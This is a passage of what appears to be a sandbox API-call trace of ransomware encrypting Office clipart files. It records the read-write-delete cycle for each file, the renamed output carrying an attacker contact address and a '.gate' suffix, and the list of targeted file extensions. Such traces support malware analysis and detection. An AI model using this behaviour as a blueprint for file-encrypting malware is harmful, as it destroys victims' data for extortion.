dwFileAttributes=0x220) returned 1 [0292.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0292.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0292.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0292.991] lstrlenW (lpString=".doc") returned 4 [0292.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.991] lstrlenW (lpString=".docx") returned 5 [0292.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.991] lstrlenW (lpString=".pdf") returned 4 [0292.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.991] lstrlenW (lpString=".xls") returned 4 [0292.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.992] lstrlenW (lpString=".xlsx") returned 5 [0292.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.992] lstrlenW (lpString=".ppt") returned 4 [0292.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0292.992] lstrlenW (lpString=".zip") returned 4 [0292.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.992] lstrlenW (lpString=".rar") returned 4 [0292.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.992] lstrlenW (lpString=".bz2") returned 4 [0292.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.992] lstrlenW (lpString=".7z") returned 3 [0292.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0292.992] lstrlenW (lpString=".dbf") returned 4 [0292.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0292.992] lstrlenW (lpString=".1cd") returned 4 [0292.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0292.992] lstrlenW (lpString=".jpg") returned 4 [0292.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.993] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3616) returned 1 [0292.993] CloseHandle (hObject=0x514) returned 1 [0292.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220 [0292.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0292.993] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.994] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0292.994] GetLastError () returned 0x0 [0292.994] ReadFile (in: hFile=0x514, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xe20, lpOverlapped=0x0) returned 1 [0293.096] WriteFile (in: hFile=0x518, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xe30, lpOverlapped=0x0) returned 1 [0293.096] ReadFile (in: hFile=0x514, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.096] WriteFile (in: hFile=0x518, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0293.097] SetEndOfFile (hFile=0x518) returned 1 [0293.097] CloseHandle (hObject=0x518) returned 1 [0293.097] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.097] SetEndOfFile (hFile=0x514) returned 1 [0293.099] CloseHandle (hObject=0x514) returned 1 [0293.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0293.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0293.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0293.100] lstrlenW (lpString=".doc") returned 4 [0293.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.100] lstrlenW (lpString=".docx") returned 5 [0293.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.100] lstrlenW (lpString=".pdf") returned 4 [0293.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.100] lstrlenW (lpString=".xls") returned 4 [0293.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.101] lstrlenW (lpString=".xlsx") returned 5 [0293.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.101] lstrlenW (lpString=".ppt") returned 4 [0293.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0293.101] lstrlenW (lpString=".zip") returned 4 [0293.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.101] lstrlenW (lpString=".rar") returned 4 [0293.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.101] lstrlenW (lpString=".bz2") returned 4 [0293.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.101] lstrlenW (lpString=".7z") returned 3 [0293.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0293.101] lstrlenW (lpString=".dbf") returned 4 [0293.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0293.101] lstrlenW (lpString=".1cd") returned 4 [0293.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0293.101] lstrlenW (lpString=".jpg") returned 4 [0293.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.141] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2796) returned 1 [0293.141] CloseHandle (hObject=0x50c) returned 1 [0293.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220 [0293.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0293.225] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.225] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0293.226] GetLastError () returned 0x0 [0293.226] ReadFile (in: hFile=0x534, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xaec, lpOverlapped=0x0) returned 1 [0293.282] WriteFile (in: hFile=0x4f4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xaf0, lpOverlapped=0x0) returned 1 [0293.283] ReadFile (in: hFile=0x534, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.283] WriteFile (in: hFile=0x4f4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0293.283] SetEndOfFile (hFile=0x4f4) returned 1 [0293.283] CloseHandle (hObject=0x4f4) returned 1 [0293.283] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.283] SetEndOfFile (hFile=0x534) returned 1 [0293.285] CloseHandle (hObject=0x534) returned 1 [0293.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0293.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0293.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0293.286] lstrlenW (lpString=".doc") returned 4 [0293.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.286] lstrlenW (lpString=".docx") returned 5 [0293.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.286] lstrlenW (lpString=".pdf") returned 4 [0293.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.286] lstrlenW (lpString=".xls") returned 4 [0293.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.286] lstrlenW (lpString=".xlsx") returned 5 [0293.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.287] lstrlenW (lpString=".ppt") returned 4 [0293.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0293.287] lstrlenW (lpString=".zip") returned 4 [0293.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.287] lstrlenW (lpString=".rar") returned 4 [0293.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.287] lstrlenW (lpString=".bz2") returned 4 [0293.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.287] lstrlenW (lpString=".7z") returned 3 [0293.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0293.287] lstrlenW (lpString=".dbf") returned 4 [0293.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0293.287] lstrlenW (lpString=".1cd") returned 4 [0293.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0293.287] lstrlenW (lpString=".jpg") returned 4 [0293.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.296] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2228) returned 1 [0293.296] CloseHandle (hObject=0x530) returned 1 [0293.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220 [0293.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0293.297] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.297] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0293.298] GetLastError () returned 0x0 [0293.298] ReadFile (in: hFile=0x530, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x8b4, lpOverlapped=0x0) returned 1 [0293.336] WriteFile (in: hFile=0x52c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x8c0, lpOverlapped=0x0) returned 1 [0293.336] ReadFile (in: hFile=0x530, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.336] WriteFile (in: hFile=0x52c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0293.336] SetEndOfFile (hFile=0x52c) returned 1 [0293.337] CloseHandle (hObject=0x52c) returned 1 [0293.337] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.337] SetEndOfFile (hFile=0x530) returned 1 [0293.347] CloseHandle (hObject=0x530) returned 1 [0293.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0293.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0293.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0293.348] lstrlenW (lpString=".doc") returned 4 [0293.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.348] lstrlenW (lpString=".docx") returned 5 [0293.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.348] lstrlenW (lpString=".pdf") returned 4 [0293.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.348] lstrlenW (lpString=".xls") returned 4 [0293.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.348] lstrlenW (lpString=".xlsx") returned 5 [0293.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.348] lstrlenW (lpString=".ppt") returned 4 [0293.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0293.348] lstrlenW (lpString=".zip") returned 4 [0293.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.348] lstrlenW (lpString=".rar") returned 4 [0293.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.348] lstrlenW (lpString=".bz2") returned 4 [0293.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.348] lstrlenW (lpString=".7z") returned 3 [0293.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0293.348] lstrlenW (lpString=".dbf") returned 4 [0293.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0293.348] lstrlenW (lpString=".1cd") returned 4 [0293.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0293.348] lstrlenW (lpString=".jpg") returned 4 [0293.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.349] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2080) returned 1 [0293.349] CloseHandle (hObject=0x530) returned 1 [0293.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220 [0293.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0293.349] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.350] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0293.350] GetLastError () returned 0x0 [0293.350] ReadFile (in: hFile=0x530, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x820, lpOverlapped=0x0) returned 1 [0293.452] WriteFile (in: hFile=0x528, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x830, lpOverlapped=0x0) returned 1 [0293.452] ReadFile (in: hFile=0x530, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.453] WriteFile (in: hFile=0x528, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0293.453] SetEndOfFile (hFile=0x528) returned 1 [0293.453] CloseHandle (hObject=0x528) returned 1 [0293.453] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.453] SetEndOfFile (hFile=0x530) returned 1 [0293.455] CloseHandle (hObject=0x530) returned 1 [0293.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0293.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0293.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0293.456] lstrlenW (lpString=".doc") returned 4 [0293.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.456] lstrlenW (lpString=".docx") returned 5 [0293.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.456] lstrlenW (lpString=".pdf") returned 4 [0293.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.456] lstrlenW (lpString=".xls") returned 4 [0293.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.456] lstrlenW (lpString=".xlsx") returned 5 [0293.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.456] lstrlenW (lpString=".ppt") returned 4 [0293.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0293.456] lstrlenW (lpString=".zip") returned 4 [0293.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.456] lstrlenW (lpString=".rar") returned 4 [0293.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.456] lstrlenW (lpString=".bz2") returned 4 [0293.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.456] lstrlenW (lpString=".7z") returned 3 [0293.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0293.457] lstrlenW (lpString=".dbf") returned 4 [0293.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0293.457] lstrlenW (lpString=".1cd") returned 4 [0293.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0293.457] lstrlenW (lpString=".jpg") returned 4 [0293.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.606] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2020) returned 1 [0293.606] CloseHandle (hObject=0x514) returned 1 [0293.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 